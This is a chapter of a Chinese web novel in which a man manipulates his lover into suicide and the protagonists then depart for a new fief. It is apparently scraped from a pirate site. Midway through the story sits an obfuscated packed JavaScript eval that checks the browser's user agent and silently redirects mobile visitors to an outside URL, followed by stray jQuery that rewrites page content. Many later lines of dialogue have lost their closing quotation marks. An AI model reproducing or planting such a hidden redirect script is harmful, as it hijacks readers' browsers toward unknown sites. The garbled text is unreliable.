第130章 赴死

作品:《替嫁给草原首领后[重生]

    “琼室帝姬,被你们联手赶出宫闱的琼朝明珠。”姬有光说,鸠占鹊巢这么久,夫人居然认不出这张脸了吗?”


    “琼室帝姬?这画得是羲和公主?”高玉瑶怔怔地望着纸上的女人,“你为什么说起这个女人?鸠占鹊巢又是什么意思?”


    “因为羲和公主是我的母亲,我就是琼朝皇室最后的血脉。”


    “什么?这不可能!羲和公主哪是这幅模样?”高玉瑶猛地抬头,她看着姬有光的脸,又低头看着画中的女人,忍不住摇头,“这不可能!你定是在诈我!你怎么会是她的儿子!”


    “真是一点也不记得了吗?事已至此,我为何还要骗你?”姬有光冷冷地说。


    “你若是羲和公主的儿子又怎么会帮我——”


    “是啊,我怎么会帮你?我当然不会帮自己的仇人。”姬有光眼神暗了下来,他看高玉瑶的目光变了,没有两人过往的半点影子,“我是来报仇雪恨的。”


    “姬郎……”高玉瑶伸长手,颤颤地想去拽那雪白的衣袖,然而姬有光却无情地走开。


    啪嗒一声,高玉瑶狼狈地跌坐在地上:“你定是骗我的,你说过我没有做错什么,错的是他们,不是我。你说你懂我的,你知道我的不容易,你怎么忍心欺骗于我?怎么忍心这样算计于我啊,姬郎,我满心满眼都是你,我只有你了。”


    “你确实没做错什么,但谁让你姓高。”姬有光说,“我也确实懂你,不懂你我又如何能算计得了你呢?”


    姬有光蹲下身子,抬手将泪流满面的高玉瑶扶了起来:“不过我自是不忍心欺骗你,算计你,所以才在此刻坦白了一切。”


    “姬郎。”姬有光突然温和的语气让高玉瑶有些懵。


    “夫人,我懂你,你懂我吗?”


    “……”高玉瑶想说些什么,可她又何尝明白姬有光到底在想些什么。这京城里人人都说她是个肆意妄为的疯子,可与面前这个男人相比,她的心思浅得像是一眼能看到底。


    是的,她早就意识到了的。在男人怂恿他去火烧八方馆的时候,她就瞧见了这男人如玉外表下的疯狂阴冷……可她还是义无反顾地被吸引了,被洁白无瑕下暴露出来的危险深深吸引着,就像是只有她一人踏入过的禁地,让她光是想想就忍不住颤抖。


    “我……我懂你。”高玉瑶仰着头,任凭自己的下巴被男人轻佻抬起,“至少比其他的女人都要懂


    你,我说得对吗?”


    “你说得对。”


    高玉瑶眼里含着泪,嘴角僵硬地扬了一下:“姬郎,我是真心的。”


    “是吗?”冰冷的眸子俯视着他,姬有光对着自己腿边的女人轻声问,“夫人,若是真心,那可愿意为我赴死?”


    “你是说,让我为了你死吗?”高玉瑶怀疑自己听错了。她不相信这世上会有人能用如此温柔的声音说出这般残忍的话。


    “你若是死了,明日的庭审便死无对证,太子就无法替死去的嘉禧皇后伸冤,我也好完成皇帝交给我的事。”


    “你不是就想让太子和宣德王斗得死去活来吗?我不死不是更合你的心意,明日等我姐姐伏了法,死了母亲的宣德王肯定恨死太子一家,到时候他和三皇子肯定会……”高玉瑶还未说完就被一声轻笑打断了。


    “宣德王算什么东西?他们兄弟两不过是老皇帝给儿子备的一块磨刀石。”姬有光一字一字地说,“我要的是逼太子反。”


    高玉瑶张着嘴,一阵寒意从她的头顶蔓延到手脚。她明白了过来,姬有光想要的不仅是搅乱朝堂,引得陈家手足相残,他还想要断了大夏后面的气数。


    直到这一刻,她才真切感受到男人心思的可怕。


    “可……我是真心喜欢你的啊,姬郎,我是真心的……”


    “夫人,若是愿意成全我的话,我就相信夫人口中的真心。”男人的语气平平,听着还有些不屑的意味。


    高玉瑶的心像是被狠狠捅了一刀,一股气堵在她的胸口,让她嗓子眼发酸发胀。


    “好,我成全你……”她说着,腿有些站不稳了,“我成全你便是了……”


    高玉瑶看着淡漠的男人,红着眼眶,狠下了心。她想要以自己的死让姬有光为之后悔,让对方明白他失去的是一个真正爱他的女人。


    “姬郎,终是你欠我的!”高玉瑶哭着,见男人的眼神依旧没有看向自己。她心一横,泪眼看向了地牢的墙壁,冲了过去。


    砰的一声闷响,高玉瑶闭上了眼,额头上的鲜血如泉水一般涌了出来。


    刺眼的红色留在了灰白色的石墙上,女人的身体也随之栽倒在了地上。


    这一刻,她心心念念的男人也终于看了过来,那道冷漠的目光依她所愿再次落到了她的身上。


    只不过男人并没有像她想象的一样后悔莫及。


    在确认玉瑶夫人没了气息后,姬有光带


    走了画卷,转身离开了地牢。


    *****


    “瑶玉夫人在地牢里自尽了?”临走前听到这样的消息,林昭昭还是感到有些诧异。他没有想到那样倨傲的女子居然最后会是这样一个死法。


    “过刚则易折,过柔则易弯。这都是她咎由自取,少爷不必感怀。”苏合在旁说,“她这一死反倒死的体面了,虽说是草草了事,但宫里好歹是给她下了葬,让她死后有了一处容身之处。”


    “我也没有如此心软,是她要害我在先,不过她死了这事便算清了。至于身后的颜面,大夏皇帝想如何处置便如何处置吧。”登车前,林昭昭往后望了望,似乎在寻什么。


    “不上车在等什么呢?”男人骑着马走了过来。


    “没等什么。”见旭烈格尔过来,林昭昭收回目光。


    “你那朋友今日是不会过来了。”旭烈格尔说。


    “谁说我在等他的。”林昭昭撇了撇嘴,“你怎么知道他今日不会来?”


    “少爷,姬学士,不如今该叫姬院士了。”苏合在一边小声说,“姬院士如今身处要职,是送不了你这一程了。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14983969|126989||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“什么姬院事?”


    “少爷,姬有光少爷上个月就被晋为枢密院院事了。”


    “枢密院院事?这是晋得也太快了吧!”林昭昭震惊了,喃喃道,则“姬有光这小子的官运居然这么好?亏我还担心他的安危……他不会是真攀上大夏的公主了吧。”


    “他攀没攀上公主与你有何干系?”旭烈格尔有些不悦,不喜林昭昭念叨着其他男人。


    “我这不是心里奇怪嘛。”


    “上车吧,该启程了。”旭烈格尔瞧了眼天色,他们即将前往带着大夏皇帝的封赏,前往新的封地。


    林昭昭“哦”了一声,上了马车。


    “你怎么也上车里来了?”他刚坐稳,就见旭烈格尔也跟着上了车。


    “有东西给你。”旭烈格尔说。


    “我说呢,你这几日就神神秘秘的。”林昭昭问,“是在这木箱子里?什么好东西啊,藏着这般严实?”


    “你打开看看便知。”


    林昭昭挑了下眉,然后在男人温柔的目光下,打开了木箱。


    “这是……”看着箱中精妙绝伦的凤冠霞帔,有一瞬林昭昭被震撼地说不出话来了,“这是给我的吗?”


    “不是给你的,还能是给谁的?”


    “不,我是说,这样好的东西给我也太可


    惜了。林昭昭伸出手,都不太敢触碰,“这也太华贵了。


    “你怎会这样想?旭烈格尔微微蹙眉,林昭昭的反应和他想的完全不同。


    “你从哪弄来这样华贵的东西?


    “你不喜欢?


    “不是,不喜欢。我只是觉得……想到这也是旭烈格尔的心意,“铺张浪费一词林昭昭说不出口,小声说,“若是换成钱,能买好多种子铁器……


    “我们如今又不缺种子铁器。


    “我就是这么一说……


    旭烈格尔摇了摇头:“看来是我平日给你置办少了。这次来了一趟大夏,我发现身为血狄国后,你的日子过得还是太清苦了些。


    “哪里清苦了!林昭昭觉得自己的日子过得不要太惬意,“你学什么不好,要学这皇宫里的奢靡之风。


    “等到了封地,我便让他们修缮一处宫殿。还有那百名宫婢都任凭你差遣。旭烈格尔却自顾自地说。


    “哼,我才不信你会让我日日待在女人堆里。林昭昭眼珠转了转,“到时候某人醋坛子翻了,给别找我的麻烦。


    说着,一只大手摸上了林昭昭的腰间。


    “取笑我?


    “做什么?你可不就这般小心眼嘛?林昭昭也不怕。


    两人在车上玩闹了会儿,无意之间,旭烈格尔的手摸到了林昭昭胸前的那一枚玉坠。


    “怎么了?见旭烈格尔看得入神,林昭昭问。


    “洛初,你是不是说过你这玉很罕见?


    “是啊,怎么了?


    “没什么。


    旭烈格尔松开了手,他只是觉得林昭昭的这块血玉和大夏皇帝桌上的那一块很是相似。